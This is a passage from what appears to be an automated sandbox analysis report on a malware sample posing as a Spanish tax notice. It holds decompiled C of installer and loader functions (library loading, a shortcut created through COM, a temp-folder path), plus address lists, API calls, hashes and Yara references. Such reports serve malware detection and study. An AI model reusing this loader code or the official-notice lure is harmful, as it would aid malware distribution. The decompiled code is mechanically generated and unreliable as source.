									_t253 = _t309 + 2;
									__eflags =  *_t253 - 0x3e;
									if( *_t253 != 0x3e) {
										goto L134;
									}
									_v36 = 3;
									goto L137;
								}
								__eflags = _t287 - 0x3a;
								if(_t287 != 0x3a) {
									goto L141;
								}
								goto L131;
							}
							_t259 = _t251 - 1;
							__eflags = _t259;
							if(_t259 == 0) {
								L74:
								_t260 = _t287 - 0x22;
								__eflags = _t260 - 0x55;
								if(_t260 > 0x55) {
									goto L61;
								}
								switch( *((intOrPtr*)(( *(_t260 + 0x10002230) & 0x000000ff) * 4 +  &M100021CC))) {
									case 0:
										__ecx = _v24;
										__edi = _v12;
										while(1) {
											__edi = __edi + 1;
											__edi = __edi + 1;
											_v12 = __edi;
											__ax =  *__edi;
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L116;
											}
											L115:
											__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
											if( *((intOrPtr*)(__edi + 2)) != __dx) {
												L120:
												 *__ecx =  *__ecx & 0x00000000;
												__ebx = E1000122C(_v24);
												goto L91;
											}
											L116:
											__eflags = __ax;
											if(__ax == 0) {
												goto L120;
											}
											__eflags = __ax - __dx;
											if(__ax == __dx) {
												__edi = __edi + 1;
												__edi = __edi + 1;
												__eflags = __edi;
											}
											__ax =  *__edi;
											 *__ecx =  *__edi;
											__ecx = __ecx + 1;
											__ecx = __ecx + 1;
											__edi = __edi + 1;
											__edi = __edi + 1;
											_v12 = __edi;
											__ax =  *__edi;
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L116;
											}
											goto L115;
										}
									case 1:
										_v8 = 1;
										goto L61;
									case 2:
										_v8 = _v8 | 0xffffffff;
										goto L61;
									case 3:
										_v8 = _v8 & 0x00000000;
										_v20 = _v20 & 0x00000000;
										_v16 = _v16 + 1;
										goto L79;
									case 4:
										__eflags = _v20;
										if(_v20 != 0) {
											goto L61;
										}
										_v12 = _v12 - 2;
										__ebx = E1000121B();
										 &_v12 = E10001A9F( &_v12);
										__eax = E10001470(__edx, __eax, __edx, __ebx);
										goto L91;
									case 5:
										L99:
										_v20 = _v20 + 1;
										goto L61;
									case 6:
										_push(7);
										goto L107;
									case 7:
										_push(0x19);
										goto L127;
									case 8:
										_push(0x15);
										goto L127;
									case 9:
										_push(0x16);
										goto L127;
									case 0xa:
										_push(0x18);
										goto L127;
									case 0xb:
										_push(5);
										goto L107;
									case 0xc:
										__eax = 0;
										__eax = 1;
										goto L85;
									case 0xd:
										_push(6);
										goto L107;
									case 0xe:
										_push(2);
										goto L107;
									case 0xf:
										_push("true");
										goto L107;
									case 0x10:
										_push(0x17);
										L127:
										_pop(__ebx);
										goto L92;
									case 0x11:
										__eax =  &_v12;
										__eax = E10001A9F( &_v12);
										__ebx = __eax;
										__ebx = __eax + 1;
										__eflags = __ebx - 0xb;
										if(__ebx < 0xb) {
											__ebx = __ebx + 0xa;
										}
										goto L91;
									case 0x12:
										__ebx = 0xffffffff;
										goto L92;
									case 0x13:
										_v48 = _v48 + 1;
										_push(4);
										_pop(__eax);
										goto L85;
									case 0x14:
										__eax = 0;
										__eflags = 0;
										goto L85;
									case 0x15:
										_push(4);
										L107:
										_pop(__eax);
										L85:
										__edi = _v16;
										__ecx =  *(0x1000305c + __eax * 4);
										__edi = _v16 << 5;
										__edx = 0;
										__edi = (_v16 << 5) + __esi;
										__edx = 1;
										__eflags = _v8 - 0xffffffff;
										_v40 = 1;
										 *(__edi + 0x1018) = __eax;
										if(_v8 == 0xffffffff) {
											L87:
											__ecx = __edx;
											L88:
											__eflags = _v8 - __edx;
											 *(__edi + 0x1028) = __ecx;
											if(_v8 == __edx) {
												__eax =  &_v12;
												__eax = E10001A9F( &_v12);
												__eax = __eax + 1;
												__eflags = __eax;
												_v8 = __eax;
											}
											__eax = _v8;
											 *((intOrPtr*)(__edi + 0x101c)) = _v8;
											_t133 = _v16 + 0x81; // 0x81
											_t133 = _t133 << 5;
											__eax = 0;
											__eflags = 0;
											 *((intOrPtr*)((_t133 << 5) + __esi)) = 0;
											 *((intOrPtr*)(__edi + 0x1030)) = 0;
											 *((intOrPtr*)(__edi + 0x102c)) = 0;
											goto L91;
										}
										__eflags = __ecx;
										if(__ecx > 0) {
											goto L88;
										}
										goto L87;
									case 0x16:
										_t262 =  *(_t319 + 0x1014);
										__eflags = _t262 - _v16;
										if(_t262 > _v16) {
											_v16 = _t262;
										}
										_v8 = _v8 & 0x00000000;
										_v20 = _v20 & 0x00000000;
										_v36 - 3 = _t262 - (_v36 == 3);
										if(_t262 != _v36 == 3) {
											L79:
											_v40 = 1;
										}
										goto L61;
									case 0x17:
										__eax =  &_v12;
										__eax = E10001A9F( &_v12);
										__ebx = __eax;
										__ebx = __eax + 1;
										L91:
										__eflags = __ebx;
										if(__ebx == 0) {
											goto L61;
										}
										L92:
										__eflags = _v20;
										_v40 = 1;
										if(_v20 != 0) {
											L97:
											__eflags = _v20 - 1;
											if(_v20 == 1) {
												__eax = _v16;
												__eax = _v16 << 5;
												__eflags = __eax;
												 *(__eax + __esi + 0x102c) = __ebx;
											}
											goto L99;
										}
										_v16 = _v16 << 5;
										_t141 = __esi + 0x1030; // 0x1030
										__edi = (_v16 << 5) + _t141;
										__eax =  *__edi;
										__eflags = __eax - 0xffffffff;
										if(__eax <= 0xffffffff) {
											L95:
											__eax = GlobalFree(__eax);
											L96:
											 *__edi = __ebx;
											goto L97;
										}
										__eflags = __eax - 0x19;
										if(__eax <= 0x19) {
											goto L96;
										}
										goto L95;
									case 0x18:
										goto L61;
								}
							}
							_t263 = _t259 - 1;
							__eflags = _t263;
							if(_t263 == 0) {
								_v16 = _t284;
								goto L74;
							}
							__eflags = _t263 != 1;
							if(_t263 != 1) {
								goto L141;
							}
							_t266 = _t287 - 0x21;
							__eflags = _t266;
							if(_t266 == 0) {
								_v8 =  ~_v8;
								goto L61;
							}
							_t267 = _t266 - 0x42;
							__eflags = _t267;
							if(_t267 == 0) {
								L57:
								__eflags = _v8 - 1;
								if(_v8 != 1) {
									_t92 = _t319 + 0x1010;
									 *_t92 =  *(_t319 + 0x1010) &  !0x00000001;
									__eflags =  *_t92;
								} else {
									 *(_t319 + 0x1010) =  *(_t319 + 0x1010) | 1;
								}
								_v8 = 1;
								goto L61;
							}
							_t272 = _t267;
							__eflags = _t272;
							if(_t272 == 0) {
								_push(0x20);
								L56:
								_pop(1);
								goto L57;
							}
							_t273 = _t272 - 9;
							__eflags = _t273;
							if(_t273 == 0) {
								_push(8);
								goto L56;
							}
							_t274 = _t273 - 4;
							__eflags = _t274;
							if(_t274 == 0) {
								_push(4);
								goto L56;
							}
							_t275 = _t274 - 1;
							__eflags = _t275;
							if(_t275 == 0) {
								_push(0x10);
								goto L56;
							}
							__eflags = _t275 != 0;
							if(_t275 != 0) {
								goto L61;
							}
							_push(0x40);
							goto L56;
						}
						goto L15;
					}
					_t278 = _t249 - 5;
					if(_t278 == 0) {
						__eflags = _v36 - 3;
						_v32 = 1;
						_v8 = _t284;
						_v20 = _t284;
						_v16 = (0 | _v36 == 0x00000003) + 1;
						_v40 = _t284;
						goto L17;
					}
					_t282 = _t278 - 1;
					if(_t282 == 0) {
						_v32 = 2;
						_v8 = _t284;
						_v20 = _t284;
						goto L17;
					}
					if(_t282 != 0x16) {
						goto L40;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L17;
					}
				}
				GlobalFree(_v52);
				GlobalFree(_v24);
				GlobalFree(_v44);
				if(_t319 == _t284 ||  *(_t319 + 0x100c) != _t284) {
					L161:
					return _t319;
				} else {
					_t216 =  *_t319 - 1;
					if(_t216 == 0) {
						_t178 = _t319 + 8; // 0x8
						_t312 = _t178;
						__eflags =  *_t312 - _t284;
						if( *_t312 != _t284) {
							_t217 = GetModuleHandleW(_t312);
							__eflags = _t217 - _t284;
							 *(_t319 + 0x1008) = _t217;
							if(_t217 != _t284) {
								L150:
								_t183 = _t319 + 0x808; // 0x808
								_t313 = _t183;
								_t218 = E100015FF( *(_t319 + 0x1008), _t313);
								__eflags = _t218 - _t284;
								 *(_t319 + 0x100c) = _t218;
								if(_t218 == _t284) {
									__eflags =  *_t313 - 0x23;
									if( *_t313 == 0x23) {
										_t186 = _t319 + 0x80a; // 0x80a
										_t222 = E10001311(_t186);
										__eflags = _t222 - _t284;
										if(_t222 != _t284) {
											__eflags = _t222 & 0xffff0000;
											if((_t222 & 0xffff0000) == 0) {
												 *(_t319 + 0x100c) = GetProcAddress( *(_t319 + 0x1008), _t222 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v48 - _t284;
								if(_v48 != _t284) {
									L157:
									_t313[lstrlenW(_t313)] = 0x57;
									_t220 = E100015FF( *(_t319 + 0x1008), _t313);
									__eflags = _t220 - _t284;
									if(_t220 != _t284) {
										L145:
										 *(_t319 + 0x100c) = _t220;
										goto L161;
									}
									__eflags =  *(_t319 + 0x100c) - _t284;
									L159:
									if(__eflags != 0) {
										goto L161;
									}
									L160:
									_t197 = _t319 + 4;
									 *_t197 =  *(_t319 + 4) | 0xffffffff;
									__eflags =  *_t197;
									goto L161;
								} else {
									__eflags =  *(_t319 + 0x100c) - _t284;
									if( *(_t319 + 0x100c) != _t284) {
										goto L161;
									}
									goto L157;
								}
							}
							_t225 = LoadLibraryW(_t312);
							__eflags = _t225 - _t284;
							 *(_t319 + 0x1008) = _t225;
							if(_t225 == _t284) {
								goto L160;
							}
							goto L150;
						}
						_t179 = _t319 + 0x808; // 0x808
						_t227 = E10001311(_t179);
						 *(_t319 + 0x100c) = _t227;
						__eflags = _t227 - _t284;
						goto L159;
					}
					_t228 = _t216 - 1;
					if(_t228 == 0) {
						_t176 = _t319 + 0x808; // 0x808
						_t229 = _t176;
						__eflags =  *_t229 - _t284;
						if( *_t229 == _t284) {
							goto L161;
						}
						_t220 = E10001311(_t229);
						L144:
						goto L145;
					}
					if(_t228 != 1) {
						goto L161;
					}
					_t80 = _t319 + 8; // 0x8
					_t285 = _t80;
					_t314 = E10001311(_t80);
					 *(_t319 + 0x1008) = _t314;
					if(_t314 == 0) {
						goto L160;
					}
					 *(_t319 + 0x104c) =  *(_t319 + 0x104c) & 0x00000000;
					 *((intOrPtr*)(_t319 + 0x1050)) = E1000122C(_t285);
					 *(_t319 + 0x103c) =  *(_t319 + 0x103c) & 0x00000000;
					 *((intOrPtr*)(_t319 + 0x1048)) = 1;
					 *((intOrPtr*)(_t319 + 0x1038)) = 1;
					_t89 = _t319 + 0x808; // 0x808
					_t220 =  *(_t314->i + E10001311(_t89) * 4);
					goto L144;
				}
			}

0x10001b20
0x10001b23
0x10001b26
0x10001b29
0x10001b2c
0x10001b2f
0x10001b32
0x10001b34
0x10001b37
0x10001b3c
0x10001b3f
0x10001b47
0x10001b4f
0x10001b51
0x10001b54
0x10001b5c
0x10001b5c
0x10001b61
0x10001b64
0x00000000
0x00000000
0x10001b6e
0x10001b71
0x10001b76
0x10001b78
0x10001beb
0x10001beb
0x10001beb
0x10001bef
0x10001bf2
0x10001bf4
0x10001c16
0x10001c18
0x10001c1b
0x10001c2a
0x10001c2c
0x10001c32
0x10001c32
0x10001c38
0x10001c3b
0x10001c3b
0x10001c3e
0x10001c3e
0x10001c44
0x10001c46
0x10001c46
0x10001c48
0x10001c4b
0x10001c4e
0x10001c54
0x10001c5a
0x10001c5d
0x10001c81
0x10001c84
0x00000000
0x00000000
0x10001c87
0x10001c89
0x10001c97
0x10001c9a
0x10001c9c
0x00000000
0x00000000
0x00000000
0x00000000
0x10001c9e
0x10001c9e
0x10001c9e
0x10001ca4
0x10001ca6
0x00000000
0x00000000
0x10001ca8
0x10001caa
0x10001cac
0x10001cae
0x00000000
0x00000000
0x00000000
0x10001cae
0x10001cb0
0x10001cb2
0x10001cb4
0x10001cb4
0x10001cba
0x10001cc0
0x10001cc2
0x10001cd6
0x10001cd6
0x10001cd8
0x10001cc4
0x10001cca
0x10001ccd
0x10001ccd
0x00000000
0x10001c5f
0x10001c5f
0x10001c5f
0x10001c60
0x10001c68
0x10001c6c
0x10001c72
0x10001c76
0x10001cde
0x10001ce1
0x10001ce5
0x10001d70
0x10001d74
0x10001b59
0x00000000
0x10001b59
0x00000000
0x10001d74
0x10001c62
0x10001c62
0x10001c63
0x00000000
0x00000000
0x10001c65
0x10001c66
0x00000000
0x00000000
0x00000000
0x10001c66
0x10001c5d
0x10001bf7
0x00000000
0x00000000
0x10001c00
0x10001c03
0x10001c10
0x10001c10
0x10001c05
0x00000000
0x10001c05
0x10001b7a
0x10001b7d
0x10001bce
0x10001bd1
0x10001be3
0x10001be3
0x10001be6
0x00000000
0x10001be6
0x10001bd3
0x10001bd8
0x00000000
0x00000000
0x10001bda
0x10001bdd
0x10001ced
0x10001cf0
0x10001cf0
0x10001cf2
0x10002048
0x1000204b
0x100020b2
0x10001d60
0x10001d63
0x10001d66
0x10001d69
0x10001d69
0x10001d6b
0x10001d6c
0x10001d6c
0x10001d6d
0x00000000
0x10001d6d
0x1000204d
0x10002050
0x10002057
0x10002057
0x1000205b
0x1000206f
0x1000206f
0x10002072
0x10002076
0x100020be
0x100020c1
0x100020c5
0x00000000
0x100020c5
0x10002078
0x1000207c
0x00000000
0x00000000
0x1000207e
0x10002085
0x10002085
0x1000208b
0x1000208e
0x100020aa
0x10002090
0x10002099
0x1000209c
0x1000209c
0x00000000
0x1000208e
0x1000205d
0x10002060
0x10002064
0x00000000
0x00000000
0x10002066
0x00000000
0x10002066
0x10002052
0x10002055
0x00000000
0x00000000
0x00000000
0x10002055
0x10001cf8
0x10001cf8
0x10001cf9
0x10001e29
0x10001e29
0x10001e2e
0x10001e31
0x00000000
0x00000000
0x10001e3e
0x00000000
0x10001fe5
0x10001fe8
0x10001feb
0x10001feb
0x10001fec
0x10001fed
0x10001ff0
0x10001ff3
0x10001ff6
0x00000000
0x00000000
0x10001ff8
0x10001ff8
0x10001ffc
0x10002014
0x10002017
0x10002021
0x00000000
0x10002021
0x10001ffe
0x10001ffe
0x10002001
0x00000000
0x00000000
0x10002003
0x10002006
0x10002008
0x10002009
0x10002009
0x10002009
0x1000200a
0x1000200d
0x10002010
0x10002011
0x10001feb
0x10001fec
0x10001fed
0x10001ff0
0x10001ff3
0x10001ff6
0x00000000
0x00000000
0x00000000
0x10001ff6
0x00000000
0x10001e85
0x00000000
0x00000000
0x10001e91
0x00000000
0x00000000
0x10001e78
0x10001e7c
0x10001e80
0x00000000
0x00000000
0x10001fb6
0x10001fba
0x00000000
0x00000000
0x10001fc0
0x10001fc9
0x10001fd0
0x10001fd8
0x00000000
0x00000000
0x10001f53
0x10001f53
0x00000000
0x00000000
0x10001e9a
0x00000000
0x00000000
0x10002040
0x00000000
0x00000000
0x10002030
0x00000000
0x00000000
0x10002034
0x00000000
0x00000000
0x1000203c
0x00000000
0x00000000
0x10001f76
0x00000000
0x00000000
0x10001f5b
0x10001f5d
0x00000000
0x00000000
0x10001f7e
0x00000000
0x00000000
0x10001f63
0x00000000
0x00000000
0x10001f67
0x00000000
0x00000000
0x10002038
0x10002042
0x10002042
0x00000000
0x00000000
0x10001f86
0x10001f8a
0x10001f8f
0x10001f92
0x10001f93
0x10001f96
0x10001f9c
0x10001f9c
0x00000000
0x00000000
0x10002028
0x00000000
0x00000000
0x10001f6b
0x10001f6e
0x10001f70
0x00000000
0x00000000
0x10001ea1
0x10001ea1
0x00000000
0x00000000
0x10001f7a
0x10001f80
0x10001f80
0x10001ea3
0x10001ea3
0x10001ea6
0x10001ead
0x10001eb0
0x10001eb2
0x10001eb4
0x10001eb5
0x10001eb9
0x10001ebc
0x10001ec2
0x10001ec8
0x10001ec8
0x10001eca
0x10001eca
0x10001ecd
0x10001ed3
0x10001ed5
0x10001ed9
0x10001ede
0x10001ede
0x10001ee0
0x10001ee0
0x10001ee3
0x10001ee6
0x10001eef
0x10001ef5
0x10001ef8
0x10001ef8
0x10001efa
0x10001efd
0x10001f03
0x00000000
0x10001f03
0x10001ec4
0x10001ec6
0x00000000
0x00000000
0x00000000
0x00000000
0x10001e45
0x10001e4b
0x10001e4e
0x10001e50
0x10001e50
0x10001e53
0x10001e57
0x10001e64
0x10001e66
0x10001e6c
0x10001e6c
0x10001e6c
0x00000000
0x00000000
0x10001fa4
0x10001fa8
0x10001fad
0x10001fb0
0x10001f09
0x10001f09
0x10001f0b
0x00000000
0x00000000
0x10001f11
0x10001f11
0x10001f15
0x10001f1c
0x10001f40
0x10001f40
0x10001f44
0x10001f46
0x10001f49
0x10001f49
0x10001f4c
0x10001f4c
0x00000000
0x10001f44
0x10001f21
0x10001f24
0x10001f24
0x10001f2b
0x10001f2d
0x10001f30
0x10001f37
0x10001f38
0x10001f3e
0x10001f3e
0x00000000
0x10001f3e
0x10001f32
0x10001f35
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10001e3e
0x10001cff
0x10001cff
0x10001d00
0x10001e26
0x00000000
0x10001e26
0x10001d06
0x10001d07
0x00000000
0x00000000
0x10001d0f
0x10001d0f
0x10001d12
0x10001d5d
0x00000000
0x10001d5d
0x10001d14
0x10001d14
0x10001d17
0x10001d41
0x10001d44
0x10001d47
0x10001e18
0x10001e18
0x10001e18
0x10001d4d
0x10001d4d
0x10001d4d
0x10001e1e
0x00000000
0x10001e1e
0x10001d1a
0x10001d1a
0x10001d1b
0x10001d3e
0x10001d40
0x10001d40
0x00000000
0x10001d40
0x10001d1d
0x10001d1d
0x10001d20
0x10001d3a
0x00000000
0x10001d3a
0x10001d22
0x10001d22
0x10001d25
0x10001d36
0x00000000
0x10001d36
0x10001d27
0x10001d27
0x10001d28
0x10001d32
0x00000000
0x10001d32
0x10001d2b
0x10001d2c
0x00000000
0x00000000
0x10001d2e
0x00000000
0x10001d2e
0x00000000
0x10001bdd
0x10001b7f
0x10001b82
0x10001bb1
0x10001bb5
0x10001bbc
0x10001bc3
0x10001bc6
0x10001bc9
0x00000000
0x10001bc9
0x10001b84
0x10001b85
0x10001ba0
0x10001ba7
0x10001baa
0x00000000
0x10001baa
0x10001b8a
0x00000000
0x10001b90
0x10001b90
0x10001b97
0x00000000
0x10001b97
0x10001b8a
0x10001d83
0x10001d88
0x10001d8d
0x10001d91
0x100021c5
0x100021cb
0x10001da3
0x10001da5
0x10001da6
0x100020ee
0x100020ee
0x100020f1
0x100020f4
0x10002111
0x10002117
0x10002119
0x1000211f
0x10002136
0x10002136
0x10002136
0x10002143
0x10002149
0x1000214c
0x10002152
0x10002154
0x10002158
0x1000215a
0x10002161
0x10002166
0x10002169
0x1000216b
0x10002170
0x10002182
0x10002182
0x10002170
0x10002169
0x10002158
0x10002188
0x1000218b
0x10002195
0x1000219d
0x100021aa
0x100021b0
0x100021b3
0x100020e3
0x100020e3
0x00000000
0x100020e3
0x100021b9
0x100021bf
0x100021bf
0x00000000
0x00000000
0x100021c1
0x100021c1
0x100021c1
0x100021c1
0x00000000
0x1000218d
0x1000218d
0x10002193
0x00000000
0x00000000
0x00000000
0x10002193
0x1000218b
0x10002122
0x10002128
0x1000212a
0x10002130
0x00000000
0x00000000
0x00000000
0x10002130
0x100020f6
0x100020fd
0x10002103
0x10002109
0x00000000
0x10002109
0x10001dac
0x10001dad
0x100020cd
0x100020cd
0x100020d3
0x100020d6
0x00000000
0x00000000
0x100020dd
0x100020e2
0x00000000
0x100020e2
0x10001db4
0x00000000
0x00000000
0x10001dba
0x10001dba
0x10001dc3
0x10001dc8
0x10001dce
0x00000000
0x00000000
0x10001dd4
0x10001de1
0x10001de7
0x10001df1
0x10001df7
0x10001dff
0x10001e0f
0x00000000
0x10001e0f

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Uniqueness

Uniqueness Score: -1.00%

Function 004020FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004020FE() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x4c)) = E00402C37(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x3c)) = E00402C37(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402C37(2);
				 *((intOrPtr*)(_t107 - 0x48)) = E00402C37(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402C37(0x45);
				_t52 =  *(_t107 - 0x18);
				 *(_t107 - 0x44) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x38) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405BA7( *((intOrPtr*)(_t107 - 0x3c))) == 0) {
					E00402C37(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084dc, _t83, 1, 0x4084cc, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084ec, _t107 - 0x30);
					 *((intOrPtr*)(_t107 - 0x10)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x3c)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated\\Handlingssted\\Skovsnegles\\Herb");
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x38));
						_t91 =  *((intOrPtr*)(_t107 - 0x48));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x44));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x30));
							 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x4c)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x30));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x00402107
0x00402111
0x0040211b
0x00402125
0x00402130
0x00402133
0x0040214d
0x00402150
0x00402156
0x00402159
0x00402163
0x00402167
0x00402167
0x0040216c
0x0040217d
0x00402185
0x0040223c
0x0040223c
0x00402243
0x0040218b
0x0040218b
0x0040219a
0x0040219e
0x004021a1
0x004021a7
0x004021b5
0x004021b8
0x004021ba
0x004021c5
0x004021c5
0x004021ca
0x004021cc
0x004021d3
0x004021d3
0x004021d6
0x004021df
0x004021e2
0x004021e8
0x004021ea
0x004021f4
0x004021f4
0x004021f7
0x00402200
0x00402203
0x0040220c
0x00402212
0x00402214
0x00402222
0x00402222
0x00402225
0x0040222b
0x0040222b
0x0040222e
0x00402234
0x0040223a
0x0040224f
0x00000000
0x00000000
0x00000000
0x0040223a
0x00402245
0x00402ac2
0x00402ace

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040217D

Strings

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb, xrefs: 004021BD

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb
API String ID: 542301482-994228958
Opcode ID: 75bd8e49128f364a0fc7c4c1a7bdc2d45d81300e390856c6e58ec56fd8bb38af
Instruction ID: 12128347f435f69461b39f0114e3e01667000ffa0243525f0bda7dd6f9c1772f
Opcode Fuzzy Hash: 75bd8e49128f364a0fc7c4c1a7bdc2d45d81300e390856c6e58ec56fd8bb38af
Instruction Fuzzy Hash: BF4139B5A00208AFCB10DFE4C988AAEBBB5FF48314F20457AF515EB2D1DB799941CB44

Uniqueness

Uniqueness Score: -1.00%

Function 048C00D0 Relevance: 3.0, Strings: 2, Instructions: 511COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3
s, xrefs: 048C0101

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41$s
API String ID: 0-137093218
Opcode ID: cc037f6c1729004c36887db873500564c0946682e4fcbbb836ab4a8957f92029
Instruction ID: eeb4fc50c6b54c4b4d3bba854fd4bcae5630b755a8299e20aca37a48c920afce
